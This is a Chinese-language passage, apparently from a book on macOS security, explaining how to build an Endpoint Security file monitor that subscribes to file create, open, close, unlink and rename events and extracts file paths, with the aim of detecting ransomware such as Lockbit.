文件监控器是检测和理解恶意代码的强大工具。例如,臭名昭著的勒索软件团体 Lockbit 已开始针对 macOS 进行攻击,因此你可能想开发能识别勒索软件的软件。在我2016年的研究论文《Towards Generic Ransomware Detection》中,我提出了一个简单有效的方法:如果能监控不受信任进程快速创建加密文件,就有望检测并阻止勒索软件。尽管基于启发式的方法有其局限性,但我的方法在检测新勒索软件样本时依然有效,甚至在2023年成功发现了 Lockbit 进军 macOS 市场的活动。

这种通用勒索软件检测的核心能力是监控文件创建。借助 Endpoint Security,可以轻松构建一个文件监控器,检测文件创建及其他文件 I/O 事件。完整功能的文件监控器源码可在 Objective-See 的 GitHub 仓库 FileMonitor 项目中找到:github.com/objective-s…

既然我已讲过如何创建 Endpoint Security 客户端并注册感兴趣事件,这里不再赘述,重点讲文件事件的具体细节。在 ESTypes.h 头文件中,我们能找到许多关于文件 I/O 的事件,其中一些常用通知事件包括:

  • ES_EVENT_TYPE_NOTIFY_CREATE — 新文件创建时触发
  • ES_EVENT_TYPE_NOTIFY_OPEN — 文件打开时触发
  • ES_EVENT_TYPE_NOTIFY_WRITE — 文件写入时触发
  • ES_EVENT_TYPE_NOTIFY_CLOSE — 文件关闭时触发
  • ES_EVENT_TYPE_NOTIFY_RENAME — 文件重命名时触发
  • ES_EVENT_TYPE_NOTIFY_UNLINK — 文件删除时触发

我们先注册与文件创建、打开、关闭和删除相关的事件(见清单 8-23)。

es_event_type_t events[] = {
    ES_EVENT_TYPE_NOTIFY_CREATE,
    ES_EVENT_TYPE_NOTIFY_OPEN,
    ES_EVENT_TYPE_NOTIFY_CLOSE,
    ES_EVENT_TYPE_NOTIFY_UNLINK
};

清单 8-23:感兴趣的文件 I/O 事件

创建 Endpoint Security 客户端后,调用 es_subscribe 函数订阅上述事件,子系统会开始异步向我们发送文件 I/O 事件,封装在 es_message_t 结构中。该结构包含事件类型和触发事件的进程信息。文件监控器可利用这些信息将文件事件映射到对应进程。

除了报告事件类型和责任进程外,文件监控器还应捕获文件路径(如文件创建事件中的新建文件路径)。提取路径的步骤取决于具体的文件 I/O 事件,下面逐一说明,从文件创建事件开始。

我们已订阅 ES_EVENT_TYPE_NOTIFY_CREATE,因此每当有文件创建时,Endpoint Security 会发送消息。该事件的数据存储在 es_event_create_t 结构中:

typedef struct {
  ❶ es_destination_type_t destination_type;
  union {
    ❷ es_file_t* _Nonnull existing_file;
    struct {
        es_file_t* _Nonnull dir;
        es_string_token_t filename;
        mode_t mode;
    } new_path;
  } destination;
  ...
} es_event_create_t;

虽然此结构稍显复杂,但大多数情况下处理它非常简单。destination_type 字段会被设置为两个枚举值之一 ❶。苹果在 ESMessage.h 头文件中解释:

通常,ES_EVENT_TYPE_NOTIFY_CREATE 事件在对象创建后触发,destination_type 会是 ES_DESTINATION_TYPE_EXISTING_FILE。除非某个 ES 客户端以 ES_AUTH_RESULT_DENY 拒绝了 ES_EVENT_TYPE_AUTH_CREATE 事件。

作为简单文件监控器,我们不注册 ES_EVENT_TYPE_AUTH_* 事件,因此只需关注前者。

刚创建的文件路径存储在 existing_file 字段中,位于 destination 联合体内 ❷。existing_file 类型为 es_file_t,提取路径十分方便,如清单 8-24 所示。

// 事件类型:ES_EVENT_TYPE_NOTIFY_CREATE

if(ES_DESTINATION_TYPE_EXISTING_FILE == message->event.create.destination_type) {
    es_string_token_t* token = &message->event.create.destination.existing_file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data
                                              length:token->length
                                            encoding:NSUTF8StringEncoding];

    printf("Created path -> %@\n", path.UTF8String);
}

清单 8-24:提取新建文件路径

同理,我们也注册了 ES_EVENT_TYPE_NOTIFY_OPEN,因此文件打开时 Endpoint Security 会发送包含 es_event_open_t 结构的消息。该结构含一个指向 es_file_t 的指针成员 file,存储打开文件路径。提取示例见清单 8-25。

if(ES_EVENT_TYPE_NOTIFY_OPEN == message->event_type) {
    es_string_token_t* token = &message->event.open.file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data
                                              length:token->length
                                            encoding:NSUTF8StringEncoding];

    printf("Opened file -> %s\n", path.UTF8String);
}

清单 8-25:提取打开文件路径

ES_EVENT_TYPE_NOTIFY_CLOSEES_EVENT_TYPE_NOTIFY_UNLINK 事件结构也包含一个 es_file_t* 指针,表示文件路径,提取逻辑类似。

本节最后介绍一个既含源路径又含目标路径的文件事件——重命名。文件重命名时,Endpoint Security 发送类型为 ES_EVENT_TYPE_NOTIFY_RENAME 的消息。此时 es_event_rename_t 结构包含两个 es_file_t 指针,分别指向源文件(source)和目标文件(existing_file)。

通过 message->event.rename.source->path 访问原文件路径。

要获取重命名后文件的目标路径稍复杂,需要先检查 es_event_rename_t 结构的 destination_type 字段,它是枚举类型,有两个值:ES_DESTINATION_TYPE_EXISTING_FILEES_DESTINATION_TYPE_NEW_PATH

  • 如果是 ES_DESTINATION_TYPE_EXISTING_FILE,则可直接通过 rename.destination.existing_file->path 访问目标路径(假设变量名为 rename)。
  • 如果是 ES_DESTINATION_TYPE_NEW_PATH,则需拼接目标目录和文件名,目录在 rename.destination.new_path.dir->path,文件名在 rename.destination.new_path.filename

结语

本章介绍了 Endpoint Security,这是 macOS 上编写安全工具的事实标准框架。我们通过订阅进程和文件事件的通知,构建了基础的监控与检测工具。下一章将继续探讨 Endpoint Security,重点讲解更高级的话题,比如静音机制(muting)以及 ES_EVENT_TYPE_AUTH_* 事件,这些事件为系统主动检测和阻止恶意活动提供了机制。在第三部分,我还会详细介绍基于 Endpoint Security 构建的完整功能工具的开发。

参考文献

  1. “Endpoint Security,” Apple 开发者文档,developer.apple.com/documentati…
  2. 关于 eslogger 的更多内容,可查阅其 man 手册或 CyberReason 的文章 “Blue Teaming on macOS with eslogger”,2022年10月3日,www.cybereason.com/blog/blue-t…
  3. 关于此恶意软件的介绍,见 Patrick Wardle 文章 “Ironing Out (the macOS) Details of a Smooth Operator (Part II),” Objective-See,2023年4月1日,objective-see.org/blog/blog_0…
  4. macOS LOLBins 相关信息,可参考 GitHub 上的 Living Off the Orchard: macOS Binaries (LOOBins) 仓库:github.com/infosecB/LO…
  5. Patrick Wardle 文章 “The LockBit Ransomware (Kinda) Comes for macOS,” Objective-See,2023年4月16日,objective-see.org/blog/blog_0…
  6. Patrick Wardle 文章 “Towards Generic Ransomware Detection,” Objective-See,2016年4月20日,objective-see.org/blog/blog_0…
  7. 关于如何创建完整文件监控器,见 Patrick Wardle 文章 “Writing a File Monitor with Apple’s Endpoint Security Framework,” Objective-See,2019年9月17日,objective-see.org/blog/blog_0… BlockBlock 工具的讨论。